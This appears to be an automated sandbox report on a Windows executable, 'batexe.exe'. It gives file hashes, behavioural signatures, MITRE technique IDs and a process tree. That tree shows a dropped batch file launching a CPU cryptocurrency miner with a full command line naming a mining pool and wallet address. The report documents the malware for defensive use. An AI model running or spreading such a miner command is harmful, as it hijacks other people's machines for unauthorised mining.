73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
312s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18/02/2024, 16:25

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
5108	b2e.exe
216	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
216	cpuminer-sse2.exe
216	cpuminer-sse2.exe
216	cpuminer-sse2.exe
216	cpuminer-sse2.exe
216	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3580-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3580 wrote to memory of 5108	3580	batexe.exe	74
PID 3580 wrote to memory of 5108	3580	batexe.exe	74
PID 3580 wrote to memory of 5108	3580	batexe.exe	74
PID 5108 wrote to memory of 4352	5108	b2e.exe	75
PID 5108 wrote to memory of 4352	5108	b2e.exe	75
PID 5108 wrote to memory of 4352	5108	b2e.exe	75
PID 4352 wrote to memory of 216	4352	cmd.exe	78
PID 4352 wrote to memory of 216	4352	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3580
- C:\Users\Admin\AppData\Local\Temp\CB9D.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\CB9D.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\CB9D.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5108
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D0DD.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4352
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CB9D.tmp\b2e.exe

Filesize
7.3MB

MD5
294991d729fc239277dbeaff4d234415

SHA1
672c6b8660d8d077715fb0bd876abaf18ba9743b

SHA256
155ea6d7781cb32ab8981c19388f6cc5b161f238cccba0554e8581a262c5f848

SHA512
a52bdebc97a3bd2169463790b6f1e57ff4f9c1406d15df7f319bde189f429bc1305ff39de5de05f846b3d4c236c7a2cad4d23d639760e9458e228b75664c8c38

Download Submit
C:\Users\Admin\AppData\Local\Temp\CB9D.tmp\b2e.exe

Filesize
8.1MB

MD5
7a3de1819ba1a330a41622a6c8c07d3a

SHA1
1e5881a0063de1d0aefbe629a6c3ef79b3b1e494

SHA256
ec04834e44d5ff945c9b35e7ce284c582abf50e5e73873504024d6eda79bb863

SHA512
53b11104936f35e4394c82143b83b81ffa0be6fcef92b3bf69db449dc053d6d06197f3a2cc216225eadd3e0fc0552e603e6351ba9f2b8125272f95c0d0d609e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\D0DD.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.7MB

MD5
4402a102db09db28f6fa5e252c1cc08d

SHA1
6edfe8a912c0ec8c72be5eede97f7ccc81735907

SHA256
b2c3206afca21f48feb8cc281b9de32dc160fe6b6571a971f93601cefa486743

SHA512
9dae93cac1375ac5348b50ab27addd1edf91a86989dad327a9e8cc22ac1f45ff001a1c93c85d5a9ecc3eefcddab280e88cc4b6ce83cd0814c6dee43d22043b97

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.8MB

MD5
66e4a8685759c91afc0e199127bd0864

SHA1
6a561c94fbda1bd5f07b258d52ff57e441d2e062

SHA256
d16c05754ef6087707912f565e724234a0892664b1251498e505d10145c782c8

SHA512
9c9908b1a1f161f6f1f022594e03deff1f5cd382e4b40115f869e86f08c5a9b0d03fd186efb8d421ff2a199dd18248ee2ac66c87229f4d6bd22e05ddcd108a26

Download Submit
memory/216-43-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/216-72-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-102-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-41-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/216-97-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-44-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/216-45-0x0000000056D30000-0x0000000056DC8000-memory.dmp

Filesize
608KB

Download
memory/216-92-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-52-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-57-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-62-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-67-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-38-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/216-82-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-87-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3580-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5108-51-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5108-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download